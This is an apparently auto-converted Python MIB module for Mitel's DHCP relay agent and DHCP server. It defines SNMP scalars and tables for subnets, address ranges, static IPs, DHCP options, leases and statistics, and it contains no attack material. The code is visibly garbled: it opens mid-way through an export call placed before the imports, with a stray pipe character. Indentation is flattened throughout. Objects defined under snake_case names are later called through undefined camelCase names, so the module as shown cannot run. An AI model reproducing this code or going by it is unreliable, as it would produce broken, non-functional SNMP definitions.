mitelDhcpServerVendorInfoEntry=mitelDhcpServerVendorInfoEntry, mitelDhcpServerGeneralGroup=mitelDhcpServerGeneralGroup, MitelDhcpServerOptionList=MitelDhcpServerOptionList, mitelDhcpServerGeneralPingStatus=mitelDhcpServerGeneralPingStatus, mitelDhcpServerOptionDisplayFormat=mitelDhcpServerOptionDisplayFormat, mitelDhcpServerGeneralGateway=mitelDhcpServerGeneralGateway, mitelDhcpServerRangeProtocol=mitelDhcpServerRangeProtocol)
| (integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_size_constraint, constraints_intersection, constraints_union, single_value_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueSizeConstraint', 'ConstraintsIntersection', 'ConstraintsUnion', 'SingleValueConstraint', 'ValueRangeConstraint')
(notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance')
(unsigned32, counter64, bits, time_ticks, enterprises, notification_type, mib_scalar, mib_table, mib_table_row, mib_table_column, iso, gauge32, integer32, counter32, object_identity, mib_identifier, module_identity, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'Unsigned32', 'Counter64', 'Bits', 'TimeTicks', 'enterprises', 'NotificationType', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'iso', 'Gauge32', 'Integer32', 'Counter32', 'ObjectIdentity', 'MibIdentifier', 'ModuleIdentity', 'IpAddress')
(row_status, display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'RowStatus', 'DisplayString', 'TextualConvention')
mitel_router_dhcp_group = module_identity((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3))
mitelRouterDhcpGroup.setRevisions(('2005-11-07 12:00', '2003-03-21 12:31', '1999-03-01 00:00'))
if mibBuilder.loadTexts:
mitelRouterDhcpGroup.setLastUpdated('200511071200Z')
if mibBuilder.loadTexts:
mitelRouterDhcpGroup.setOrganization('MITEL Corporation')
class Miteldhcpserverprotocol(TextualConvention, Integer32):
status = 'current'
subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4))
named_values = named_values(('none', 1), ('bootp', 2), ('dhcp', 3), ('bootp-or-dhcp', 4))
class Miteldhcpserveroptionlist(TextualConvention, Integer32):
status = 'current'
subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 1))
named_values = named_values(('time-offset', 2), ('default-router', 3), ('time-server', 4), ('name-server', 5), ('dns-server', 6), ('log-server', 7), ('cookie-server', 8), ('lpr-server', 9), ('impress-server', 10), ('resource-location-server', 11), ('host-name', 12), ('boot-file-size', 13), ('merit-dump-file-name', 14), ('domain-name', 15), ('swap-server', 16), ('root-path', 17), ('extension-path', 18), ('ip-forwarding', 19), ('non-local-source-routing', 20), ('policy-filter', 21), ('max-datagram-reassembly', 22), ('default-ip-time-to-live', 23), ('path-MTU-aging-timeout', 24), ('path-MTU-plateau-table', 25), ('interface-MTU-value', 26), ('all-subnets-are-local', 27), ('broadcast-address', 28), ('perform-mask-discovery', 29), ('mask-supplier', 30), ('perform-router-discovery', 31), ('router-solicitation-address', 32), ('static-route', 33), ('trailer-encapsulation', 34), ('arp-cache-timeout', 35), ('ethernet-encapsulation', 36), ('tcp-default-ttl', 37), ('tcp-keepalive-interval', 38), ('tcp-keepalive-garbage', 39), ('nis-domain-name', 40), ('nis-server', 41), ('ntp-server', 42), ('vendor-specific-information', 43), ('netbios-ip-name-server', 44), ('netbios-ip-dgram-distrib-server', 45), ('netbios-ip-node-type', 46), ('netbios-ip-scope', 47), ('x-window-font-server', 48), ('x-window-display-manager', 49), ('nis-plus-domain', 64), ('nis-plus-server', 65), ('tftp-server-name', 66), ('bootfile-name', 67), ('mobile-ip-home-agent', 68), ('smtp-server', 69), ('pop3-server', 70), ('nntp-server', 71), ('www-server', 72), ('finger-server', 73), ('irc-server', 74), ('streettalk-server', 75), ('streettalk-directory-assistance-server', 76), ('requested-ip', 50), ('lease-time', 51), ('option-overload', 52), ('message-type', 53), ('server-identifier', 54), ('parameter-request-list', 55), ('message', 56), ('max-dhcp-message-size', 57), ('renewal-time-value-t1', 58), ('rebinding-time-value-t2', 59), ('vendor-class-identifier', 60), ('client-identifier', 61), ('subnet-mask', 1))
mitel = mib_identifier((1, 3, 6, 1, 4, 1, 1027))
mitel_proprietary = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4))
mitel_prop_ip_networking = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8))
mitel_ip_net_router = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1))
mitel_identification = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 1))
mitel_id_call_servers = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 1, 2))
mitel_id_cs_ipera1000 = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4))
mitel_dhcp_relay_agent_enable = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2))).clone(2)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpRelayAgentEnable.setStatus('current')
mitel_dhcp_relay_agent_max_hops = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpRelayAgentMaxHops.setStatus('current')
mitel_dhcp_relay_agent_broadcast = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpRelayAgentBroadcast.setStatus('current')
mitel_dhcp_relay_agent_server_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3))
if mibBuilder.loadTexts:
mitelDhcpRelayAgentServerTable.setStatus('current')
mitel_dhcp_relay_agent_server_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpRelayAgentServerAddr'))
if mibBuilder.loadTexts:
mitelDhcpRelayAgentServerEntry.setStatus('current')
mitel_dhcp_relay_agent_server_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 1), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpRelayAgentServerAddr.setStatus('current')
mitel_dhcp_relay_agent_server_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 2), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpRelayAgentServerName.setStatus('current')
mitel_dhcp_relay_agent_server_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 3), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpRelayAgentServerStatus.setStatus('current')
mitel_dhcp_server_group = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5))
mitel_dhcp_server_general_group = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1))
mitel_dhcp_server_general_enable = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2), ('autoconfig', 3)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerGeneralEnable.setStatus('current')
mitel_dhcp_server_general_gateway = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerGeneralGateway.setStatus('current')
mitel_dhcp_server_general_ref_dhcp_server = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 3), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerGeneralRefDhcpServer.setStatus('current')
mitel_dhcp_server_general_ping_status = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enable', 1), ('disable', 2)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerGeneralPingStatus.setStatus('current')
mitel_dhcp_server_subnet_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2))
if mibBuilder.loadTexts:
mitelDhcpServerSubnetTable.setStatus('current')
mitel_dhcp_server_subnet_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerSubnetAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerSubnetSharedNet'))
if mibBuilder.loadTexts:
mitelDhcpServerSubnetEntry.setStatus('current')
mitel_dhcp_server_subnet_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetAddr.setStatus('current')
mitel_dhcp_server_subnet_shared_net = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetSharedNet.setStatus('current')
mitel_dhcp_server_subnet_mask = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 3), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetMask.setStatus('current')
mitel_dhcp_server_subnet_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3), ('default', 4)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetGateway.setStatus('current')
mitel_dhcp_server_subnet_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 5), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetName.setStatus('current')
mitel_dhcp_server_subnet_delete_tree = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetDeleteTree.setStatus('current')
mitel_dhcp_server_subnet_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 7), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpServerSubnetStatus.setStatus('current')
mitel_dhcp_server_range_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3))
if mibBuilder.loadTexts:
mitelDhcpServerRangeTable.setStatus('current')
mitel_dhcp_server_range_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerRangeStart'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerRangeEnd'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerRangeSubnet'))
if mibBuilder.loadTexts:
mitelDhcpServerRangeEntry.setStatus('current')
mitel_dhcp_server_range_start = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerRangeStart.setStatus('current')
mitel_dhcp_server_range_end = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerRangeEnd.setStatus('current')
mitel_dhcp_server_range_subnet = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 3), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerRangeSubnet.setStatus('current')
mitel_dhcp_server_range_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 4), mitel_dhcp_server_protocol()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerRangeProtocol.setStatus('current')
mitel_dhcp_server_range_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3), ('default', 4)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerRangeGateway.setStatus('current')
mitel_dhcp_server_range_lease_time = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 6), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerRangeLeaseTime.setStatus('current')
mitel_dhcp_server_range_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 7), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerRangeName.setStatus('current')
mitel_dhcp_server_range_match_class_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerRangeMatchClassId.setStatus('current')
mitel_dhcp_server_range_delete_tree = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerRangeDeleteTree.setStatus('current')
mitel_dhcp_server_range_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 10), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpServerRangeStatus.setStatus('current')
mitel_dhcp_server_static_ip_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4))
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpTable.setStatus('current')
mitel_dhcp_server_static_ip_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerStaticIpAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerStaticIpSubnet'))
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpEntry.setStatus('current')
mitel_dhcp_server_static_ip_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpAddr.setStatus('current')
mitel_dhcp_server_static_ip_subnet = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpSubnet.setStatus('current')
mitel_dhcp_server_static_ip_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 3), mitel_dhcp_server_protocol()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpProtocol.setStatus('current')
mitel_dhcp_server_static_ip_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3), ('default', 4)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpGateway.setStatus('current')
mitel_dhcp_server_static_ip_mac_address = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 5), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpMacAddress.setStatus('current')
mitel_dhcp_server_static_ip_client_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 6), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpClientId.setStatus('current')
mitel_dhcp_server_static_ip_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 7), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpName.setStatus('current')
mitel_dhcp_server_static_ip_delete_tree = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpDeleteTree.setStatus('current')
mitel_dhcp_server_static_ip_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 9), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpServerStaticIpStatus.setStatus('current')
mitel_dhcp_server_option_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5))
if mibBuilder.loadTexts:
mitelDhcpServerOptionTable.setStatus('current')
mitel_dhcp_server_option_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionNumber'))
if mibBuilder.loadTexts:
mitelDhcpServerOptionEntry.setStatus('current')
mitel_dhcp_server_option_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerOptionAddr.setStatus('current')
mitel_dhcp_server_option_number = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 2), mitel_dhcp_server_option_list()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerOptionNumber.setStatus('current')
mitel_dhcp_server_option_display_format = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('default', 1), ('ip-address', 2), ('ascii-string', 3), ('integer', 4), ('octet-string', 5)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerOptionDisplayFormat.setStatus('current')
mitel_dhcp_server_option_value = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 4), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerOptionValue.setStatus('current')
mitel_dhcp_server_option_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 5), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpServerOptionStatus.setStatus('current')
mitel_dhcp_server_lease_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6))
if mibBuilder.loadTexts:
mitelDhcpServerLeaseTable.setStatus('current')
mitel_dhcp_server_lease_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerLeaseAddr'))
if mibBuilder.loadTexts:
mitelDhcpServerLeaseEntry.setStatus('current')
mitel_dhcp_server_lease_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseAddr.setStatus('current')
mitel_dhcp_server_lease_subnet = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseSubnet.setStatus('current')
mitel_dhcp_server_lease_range = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 3), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseRange.setStatus('current')
mitel_dhcp_server_lease_type = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('static', 1), ('dynamic', 2), ('configuration-reserved', 3), ('server-reserved', 4)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseType.setStatus('current')
mitel_dhcp_server_lease_end_time = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 5), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseEndTime.setStatus('current')
mitel_dhcp_server_lease_allowed_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('none', 1), ('bootp', 2), ('dhcp', 3), ('bootp-or-dhcp', 4)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseAllowedProtocol.setStatus('current')
mitel_dhcp_server_lease_served_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('none', 1), ('bootp', 2), ('dhcp', 3)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseServedProtocol.setStatus('current')
mitel_dhcp_server_lease_mac_address = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 8), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseMacAddress.setStatus('current')
mitel_dhcp_server_lease_client_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 9), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseClientId.setStatus('current')
mitel_dhcp_server_lease_host_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 10), display_string().subtype(subtypeSpec=value_size_constraint(0, 64))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseHostName.setStatus('current')
mitel_dhcp_server_lease_domain_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 11), display_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseDomainName.setStatus('current')
mitel_dhcp_server_lease_served_time = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 12), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseServedTime.setStatus('current')
mitel_dhcp_server_lease_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 13), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpServerLeaseStatus.setStatus('current')
mitel_dhcp_server_stats_group = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7))
mitel_dhcp_server_stats_num_servers = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStatsNumServers.setStatus('current')
mitel_dhcp_server_stats_conf_subnets = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 2), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStatsConfSubnets.setStatus('current')
mitel_dhcp_server_stats_conf_ranges = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 3), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStatsConfRanges.setStatus('current')
mitel_dhcp_server_stats_conf_static = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 4), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStatsConfStatic.setStatus('current')
mitel_dhcp_server_stats_conf_options = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 5), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStatsConfOptions.setStatus('current')
mitel_dhcp_server_stats_conf_leases = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 6), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerStatsConfLeases.setStatus('current')
mitel_dhcp_server_vendor_info_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8))
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoTable.setStatus('current')
mitel_dhcp_server_vendor_info_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionNumber'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerVendorInfoID'))
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoEntry.setStatus('current')
mitel_dhcp_server_vendor_info_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 1), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoID.setStatus('current')
mitel_dhcp_server_vendor_info_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 2), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoName.setStatus('current')
mitel_dhcp_server_vendor_info_option_display_format = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('default', 1), ('ip-address', 2), ('ascii-string', 3), ('integer', 4), ('octet-string', 5)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoOptionDisplayFormat.setStatus('current')
mitel_dhcp_server_vendor_info_option_value = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 4), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoOptionValue.setStatus('current')
